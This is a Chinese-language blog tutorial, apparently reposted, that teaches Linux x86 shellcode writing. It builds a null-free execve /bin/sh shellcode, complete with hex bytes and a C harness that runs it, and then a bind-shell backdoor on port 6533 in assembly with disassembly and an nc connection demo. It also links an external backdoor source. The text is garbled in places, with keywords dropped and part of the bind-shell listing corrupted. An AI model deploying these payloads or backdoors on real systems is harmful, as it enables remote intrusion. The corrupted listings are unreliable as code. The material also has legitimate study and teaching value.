shellcode:浅入浅出Liunx Shellcode

:什么是shellcode
    话说某天某爱国黑客编译了个Nday溢出利用来攻击CNN输入IP并且enter的后发现目标服务器没有反应于是拿出snfer抓包分析...“Oh ,my dog!居然没有带shellcode!”为什么 shellcode对于个exploit来说这么重要呢?Shellcode到底是什么东西呢?
    简单Shellcode是段能够完成某种特定功能 2进制代码具体完成什么任务是由攻击者决定可能是开启个新shell或者下载某个特定也或者向攻击者返回个shell等等
    shellcode将会直接操作寄存器和些系统所以对于shellcode编写基本上是用高级语言编写然后编译反汇编从而得到16进制操作码当然也可以直接写汇编然后从 2进制文件中提取出16进制操作码
    接下来就起来解开shellcode神秘面纱吧~

2:Linux系统
    为什么编写shellcode需要了解系统呢?系统是 用户态和内核态的间座桥梁大多数操作系统都提供了很多应用可以访问到核心shellcode当然也需要这些 核心Linux系统提供核心可以方便实现用来访问文件执行命令网络通信等等功能这些就被成为系统( Call)
    想知道系统上到底有哪些系统可以用直接查看内核代码即可得到Linux系统在以下文件中定义:/usr//asm-i386 /unistd.h,该文件包含了系统中每个可用系统定义内容大概如下:
    #ndef _ASM_I386_UNISTD_H_
# _ASM_I386_UNISTD_H_

/*
* This file contains the system call numbers.
*/

# __NR_restart_syscall      0
# __NR_exit                 1
# __NR_fork                 2
# __NR_read                 3
# __NR_write                4
# __NR_open                 5
# __NR_close                6
# __NR_waitpid              7
# __NR_creat                8
# __NR_link                 9
# __NR_unlink              10
# __NR_execve              11
# __NR_chdir               12
# __NR_time                13
# __NR_mknod               14
# __NR_chmod               15
.
.
.
.
每个系统都有个名称和相对应系统号组成由于该文件很长就不列出了知道了linux系统是什么样子下面就来了解下如何使用这些系统启动个系统需要使用指令linux系统位于中断0x80当执行 0x80指令后发出个软中断强制内核停止当前工作来处理中断内核首先检查传入参数正确性然后将下面寄存器值复制到内核内存空间接下来参照中断描述符表(IDT)来处理中断系统完成以后继续执行指令后条指令
    系统号是确定个系统关键数字在执行指令的前它应当被传入EAX寄存器中确定了个系统号的后就要考虑给该系统传递什么参数来完成什么样功能存放参数寄存器有5个他们是EBXECXEDXESI和EDI这 5个寄存器顺序存放传入系统参数需要超过6个输入参数系统使用区别思路方法把参数传递给系统EBX寄存器用于保护指向输入参数内存位置指针输入参数按照连续顺序存储系统使用这个指针访问内存位置以便读取参数
    为了更好介绍说明个系统使用全过程我们来看个例子这个例子中了write系统来将hello,syscall写入到终端并最终exit系统安全退出
代码如下:
.section .data
output:
        .ascii "hello,syscall!!!!\n"
output_end:
        .equ len,output_end - output
.section .text
.globl _start
_start:
        movl $4,%eax # __NR_write                4
        movl $1,%ebx
        movl $output,%ecx
        movl $len,%edx
         $0x80
        movl $1,%eax
        movl $0,%ebx
         $0x80
编译该并查看运行结果:
pr0cess@pr0cess:~$ as -o syscall.o syscall.s
pr0cess@pr0cess:~$ ld -o syscall syscall.o
pr0cess@pr0cess:~$ ./syscall
hello,syscall!!!!
可以看到hello,syscall被写入到终端那么这个过程是如何实现呢?首先定义了串hello,syscall!!!!和长度len接下来将write系统号写入到eax寄存器中接着write系统个参数需要个文件描述符fdlinux包含3种文件描述符0[STDIN]:终端设备标准输入;1[STDOUT]:终端设备标准输出;2[STDERR]:终端设备标准输出我们这里把fd值设置为1就是输入到屏幕上因此把操作数1赋值给EBX寄存器write系统第 2个参数是要写入指针这里需要个内存地址因此我们通过movl $output,%ecx把output指向实际内存地址存放在 ECX寄存器中write系统第 3个参数是写入长度按照顺序参数传递方式我们把len传递到EDX寄存器中接着执行 $0x80软中断来执行write系统步执行了个exit(0) 操作将exit系统号1传递给EAX寄存器将参数0传递给EBX寄存器然后执行 $0x80来执行系统实现退出
    为了更清晰验证我们系统确实被执行了可以通过strace来查看 2进制代码运行情况结果如下:
pr0cess@pr0cess:~$ strace ./syscall
execve("./syscall", ["./syscall"], [/* 34 vars */]) = 0
write(1, "hello,syscall!!!!\n", 18hello,syscall!!!!
)     = 18
_exit(0)    
通过返回结果我们可以清楚看到刚才syscall都执行了哪些系统以及每个系统都传递了什么参数进去
    已经了解了系统实现过程让我们离shellcode更进步吧

3:第个shellcode
    最初当shellcode这个名词来临时候只是获得个新shell在那时已经是件很美妙事情接下来我们就来实现如何获得个新shell来完成我们第个shellcode编写这里需要注意个基本关键地方就是在shellcode中不能出现/x00也就是NULL当出现NULL时候将会导致shellcode被截断从而无法完成其应有功能这确实是个让人头疼问题那么有什么解决办法呢?我们先来抽取上个例子syscall中16进制机器码来看看有没有出现/x00截断符:
pr0cess@pr0cess:~$ objdump -d ./syscall

./syscall:     file format elf32-i386

Disassembly of section .text:

08048074 <_start>:
8048074:       b8 04 00 00 00          mov    $0x4,%eax
8048079:       bb 01 00 00 00          mov    $0x1,%ebx
804807e:       b9 98 90 04 08          mov    $0x8049098,%ecx
8048083:       ba 12 00 00 00          mov    $0x12,%edx
8048088:       cd 80                       $0x80
804808a:       b8 01 00 00 00          mov    $0x1,%eax
804808f:       bb 00 00 00 00          mov    $0x0,%ebx
8048094:       cd 80                       $0x80
pr0cess@pr0cess:~$
噢!!!这个SB
8048074:       b8 04 00 00 00          mov    $0x4,%eax
这里就已经被00截断了完全不能用于shellcode只能作为汇编运行现在来分析下为什么会出现这种情况现看这两段代码:
        movl $4,%eax
        movl $1,%ebx
这两条指令使用是32位(4字节)寄存器EAX和EBX而我们却只分别赋值了1个字节到寄存器中所以系统会用NULL(00)来填充剩下字节空间从而导致shellcode被截断知道了原因就可以找到很好解决思路方法了,个EAX寄存器是32位32位寄存器也可以通过16位或者8位名称引用我们通过AX寄存器来访问第个16位区域(低16位)继续通过对AL引用EAX寄存器低8位被使用AH使用AL后高8位
EAX寄存器构成如下:
EAX寄存器
31                            15            7            0
    AH
AL
AX
在syscall例子中操作数$4和$1 2进制都只占8位所以只需要把这两个操作数赋值给AL就可以了这样就避免了使用EAX寄存器时系统用NULL填充其他空间
我们来修改下代码看看
        movl $4,%eax
        movl $1,%ebx
改为
        mov $4,%al
        mov $1,%bl
再重新编译连接syscall并且查看下objdump结果:
pr0cess@pr0cess:~$ ./syscall
hello,syscall!!!!
pr0cess@pr0cess:~$ objdump -d ./syscall

./syscall:     file format elf32-i386

Disassembly of section .text:

08048074 <_start>:
8048074:       b0 04                   mov    $0x4,%al
8048076:       b3 01                   mov    $0x1,%bl
8048078:       b9 90 90 04 08          mov    $0x8049090,%ecx
804807d:       ba 12 00 00 00          mov    $0x12,%edx
8048082:       cd 80                       $0x80
8048084:       b8 01 00 00 00          mov    $0x1,%eax
8048089:       bb 00 00 00 00          mov    $0x0,%ebx
804808e:       cd 80                       $0x80
pr0cess@pr0cess:~$
看到了已经成功把 NULL给去掉了同理可以把下面语句都改写这样就可以使这个作为shellcode运行了
下面我们就来编写第个有实际意义shellcode它将打开个新shell当然这在本地是没有什么意义可是当它作为个远程溢出在目标机器上打开shell时候那作用可就不能小视了打开个新shell我们需要用到execve系统先来看看man手册里是如何定义这个:
NAME
       execve - execute program

SYNOPSIS
       # <unistd.h>

       execve(const char *filename, char *const argv,
                  char *const envp);
可以看到execve系统需要3个参数为了介绍说明如何使用先来写个简单Cexecve:
# <stdio.h>

{
        char *sc[2];
        sc[0]="/bin/sh";
        sc[1]=  NULL;
        execve(sc[0],sc,NULL);
}
通过execve执行个/bin/sh从而获得个新shell编译来看下结果:
pr0cess@pr0cess:~$ gcc -o shell shell.c
pr0cess@pr0cess:~$ ./shell
$ exit
pr0cess@pr0cess:~$
新shell已经成功诞生了!!
为了编写execveshellcode我们用汇编实现下以上C功能代码如下:
.section .text
.globl _start
_start:
        xorl %eax,%eax
        pushl %eax
        pushl $0x68732f6e
        pushl $0x69622f2f
        movl %esp,%ebx
        pushl %eax
        pushl %ebx
        movl %esp,%ecx
        movb $0xb,%al
         $0x80
来解释下这段代码首先为了避免mov赋值带来00个异或操作来把EAX寄存器清空
xorl %eax,%eax
接着将4字节NULL压栈
pushl %eax
将/bin//sh压栈保持对齐个参数
pushl $0x68732f6e
pushl $0x69622f2f
将/bin//sh存放到EBX寄存器第2个参数
movl %esp,%ebx
压4字节NULL第3个参数环境变量为 NULL
pushl %eax
将EBX压栈
pushl %ebx
把EBX地址存入ECX寄存器
movl %esp,%ecx
将execve系统号11(0xb)压入AL寄存器消00
movb $0xb,%al
指令进入中断
$0x80
OK现在来测试下这个是否能给我们带来个新shell
pr0cess@pr0cess:~$ as -o exec.o exec.s
pr0cess@pr0cess:~$ ld -o exec exec.o
pr0cess@pr0cess:~$ ./exec
$ exit
pr0cess@pr0cess:~$
HOHO~~成功执行了!!接着来提取16进制机器码
pr0cess@pr0cess:~$ objdump -d ./exec

./exec:     file format elf32-i386

Disassembly of section .text:

08048054 <_start>:
8048054:       31 c0                   xor    %eax,%eax
8048056:       50                      push   %eax
8048057:       68 6e 2f 73 68          push   $0x68732f6e
804805c:       68 2f 2f 62 69          push   $0x69622f2f
8048061:       89 e3                   mov    %esp,%ebx
8048063:       50                      push   %eax
8048064:       53                      push   %ebx
8048065:       89 e1                   mov    %esp,%ecx
8048067:       b0 0b                   mov    $0xb,%al
8048069:       cd 80                       $0x80
pr0cess@pr0cess:~$
放到个C中来完成整个shellcode编写测试吧
/*
*linux/x86 execve("/bin//sh/",["/bin//sh"],NULL) shellcode 23s
*[email protected]
*/
pr0cess@pr0cess:~$ objdump -d exec

exec:     file format elf32-i386

Disassembly of section .text:

08048054 <_start>:
8048054:       31 c0                   xor    %eax,%eax
8048056:       50                      push   %eax
8048057:       68 6e 2f 73 68          push   $0x68732f6e
804805c:       68 2f 2f 62 69          push   $0x69622f2f
8048061:       89 e3                   mov    %esp,%ebx
8048063:       50                      push   %eax
8048064:       53                      push   %ebx
8048065:       89 e1                   mov    %esp,%ecx
8048067:       b0 0b                   mov    $0xb,%al
8048069:       cd 80                       $0x80
pr0cess@pr0cess:~$

char sc =
    "\x31\xc0"
    "\x50"
    "\x68\x6e\x2f\x73\x68"
    "\x68\x2f\x2f\x62\x69"
    "\x89\xe3"
    "\x50"
    "\x53"
    "\x89\xe1"
    "\xb0\x0b"
    "\xcd\x80"
;

{
       void    (*fp)(void) = (void (*)(void))sc;

       prf("Length: %d\n",strlen(sc));
       fp;
}
pr0cess@pr0cess:~$ gcc -o execve execve.c
pr0cess@pr0cess:~$ ./execve
Length: 23
$ exit
pr0cess@pr0cess:~$
成功了!我们编写了第个linux下shellcode并且能顺利工作了稍微休息节带来个更coolbindshell功能shellcode~~
4:绑定端口shellcode
    根据上节所说本地打开个新shell在面对远程目标时就不是那么有用了这时我们需要在远程目标上打开个可交互shell这样对我们更有帮助等于直接获得了个进入远程系统后门这就是端口绑定shellcode
    写到这里就需要些网络编程知识了这里不再详细讲解如何进行网络编程只是大概说个bindshell后门编写过程:
    首先要建立
    server=(2,1,0)
    建立个sockaddr_in结构包含IP和端口信息
    将端口和IP邦定到    
    bind
    打开端口监听该
    listen
    当有连接时向客户端返回个句柄
    accept
    将返回句柄复制到STDIN,STDOUT,STDERR
    dup2
    execve执行/bin/sh
    看了这些过程可能有些迷茫下面我给出个以前我些bindshell.c后门可以很清晰看到个bindshell是如何实现:http://www.bugshower.org/xbind.c
    通过对个端口绑定后门C分析已经了解了整个实现过程为了更方便提取shellcode我们需要用汇编来改写这个这里个新系统将被使用这就是call系统这个系统号是102先来看下man里面有关这个系统参数信息:
NAME
       call - system calls

SYNOPSIS
       call( call, unsigned long *args);
该系统需要两个参数个参数是个整数值存放在EBX寄存器中对于个bindshell我们只需要用到4个数值分别是:
SYS_SOCKET        1
SYS_BIND        2
SYS_LISTEN        4
SYS_ACCEPT        5
第 2个参数是个指针指向个参数把它存在ECX寄存器中
现在所有准备工作都已经就绪开始用汇编编写个bindshell后门吧~代码和注释如下:
#[email protected]&[email protected]
# bindshell.s --bindport _disibledevent=> $0x80         #中断
mov %eax,%esi     将返回句柄保存在ESI中

#bind
push %edx        #EDX压栈作为结束符
push $0x8519FF02     #0x8519=6533,sin.family=02,FF任意字节填充
mov %esp,%ecx    #将ESP地址赋值给ECX
push $0x10         #开始bind参数0x10压栈
push %ecx         #保存地址
push %esi         #把前面句柄压栈
mov %esp,%ecx     #继续把地址作为call第2个参数
inc %bl         #bl=1+1=2=SYS_BIND
mov $0x66,%al     #call
$0x80         #中断

#listen
push %edx         #EDX压栈作为结束符
push %esi         #句柄压栈作为listen参数
mov %esp,%ecx     #将地址设为call第2个参数
mov $0x4,%bl     #bl=4=SYS_LISTEN
mov $0x66,%al     #执行call系统
$0x80         #中断

#accept
push %edx         #参数0
push %edx         #参数0
push %esi         #句柄压栈
mov %esp,%ecx     #将设为系统第2个参数
inc %bl         #bl=4+1=SYS_ACCEPT    
mov $0x66,%al     #执行系统
$0x80         #中断

#dup2
mov %eax,%ebx     #将accept返回句柄复制到EBX
xor %ecx,%ecx     #清空
mov $0x3f,%al     #dup2系统0x3f=63
$0x80         #中断
inc %ecx         #1
mov $0x3f,%al
$0x80
inc %ecx         #2
mov $0x3f,%al
$0x80

#的前熟悉execve打开个新shell
push %edx
push $0x68732f2f
push $0x6e69622f
mov %esp,%ebx
push %edx
push %ebx
mov %esp ,%ecx
mov $0xb,%al
$0x80
    呵..现在可以休息下了终于完成了这个恶心编写工作测试下是否能正常工作吧~
pr0cess@pr0cess:~$ as -o bindshell.o bindshell.s
pr0cess@pr0cess:~$ ld -o bindshell bindshell.o
pr0cess@pr0cess:~$ ./bindshell
再新开个终端去连接顺利话我们应该能在6533端口得到个shell~
pr0cess@pr0cess:~$ netstat -an |grep "6533"
tcp        0      0 0.0.0.0:6533            0.0.0.0:*               LISTEN    
pr0cess@pr0cess:~$ nc 192.168.12.211 6533
uname -a
Linux pr0cess 2.6.20-15-generic #2 SMP Sun Apr 15 07:36:31 UTC 2007 i686 GNU/Linux
exit
pr0cess@pr0cess:~$
啊哈~美妙shell出现了顺利完成它工作它可以去死了我们来提取shellcode吧:
pr0cess@pr0cess:~$ objdump -d ./bindshell

./bindshell:     file format elf32-i386

Disassembly of section .text:

08048054 <_start>:
8048054:       31 c0                   xor    %eax,%eax
8048056:       31 db                   xor    %ebx,%ebx
8048058:       31 c9                   xor    %ecx,%ecx
804805a:       50                      push   %eax
804805b:       6a 01                   push   $0x1
804805d:       6a 02                   push   $0x2
804805f:       89 e1                   mov    %esp,%ecx
8048061:       fe c3                   inc    %bl
8048063:       b0 66                   mov    $0x66,%al
8048065:       cd 80                       $0x80
8048067:       89 c6                   mov    %eax,%esi
8048069:       52                      push   %edx
804806a:       68 02 ff 19 85          push   $0x8519ff02
804806f:       89 e1                   mov    %esp,%ecx
8048071:       6a 10                   push   $0x10
8048073:       51                      push   %ecx
8048074:       56                      push   %esi
8048075:       89 e1                   mov    %esp,%ecx
8048077:       fe c3                   inc    %bl
8048079:       b0 66                   mov    $0x66,%al
804807b:       cd 80                       $0x80
804807d:       52                      push   %edx
804807e:       56                      push   %esi
804807f:       89 e1                   mov    %esp,%ecx
8048081:       b3 04                   mov    $0x4,%bl
8048083:       b0 66                   mov    $0x66,%al
8048085:       cd 80                       $0x80
8048087:       52                      push   %edx
8048088:       52                      push   %edx
8048089:       56                      push   %esi
804808a:       89 e1                   mov    %esp,%ecx
804808c:       fe c3                   inc    %bl
804808e:       b0 66                   mov    $0x66,%al
8048090:       cd 80                       $0x80
8048092:       89 c3                   mov    %eax,%ebx
8048094:       31 c9                   xor    %ecx,%ecx
8048096:       b0 3f                   mov    $0x3f,%al
8048098:       cd 80                       $0x80
804809a:       41                      inc    %ecx
804809b:       b0 3f                   mov    $0x3f,%al
804809d:       cd 80                       $0x80
804809f:       41                      inc    %ecx
80480a0:       b0 3f                   mov    $0x3f,%al
80480a2:       cd 80                       $0x80
80480a4:       52                      push   %edx
80480a5:       68 2f 2f 73 68          push   $0x68732f2f
80480aa:       68 2f 62 69 6e          push   $0x6e69622f
80480af:       89 e3                   mov    %esp,%ebx
80480b1:       52                      push   %edx
80480b2:       53                      push   %ebx
80480b3:       89 e1                   mov    %esp,%ecx
80480b5:       b0 0b                   mov    $0xb,%al
80480b7:       cd 80                       $0x80
pr0cess@pr0cess:~$
检查了机器码中没有出现00可以放心提取作为shellcode使用具体提取过程的前已经介绍过也给出了相应C模板这里就不再重复工作了

5:整理总结
    本文没有什么高深技术没有华丽窍门技巧浅入浅出介绍了基本linuxshellcode编写过程顺利完成了科普
    Have a fun~
Tags:  网页shellcode shellcode中ucdba shellcode溢出攻击 shellcode

延伸阅读

最新评论

发表评论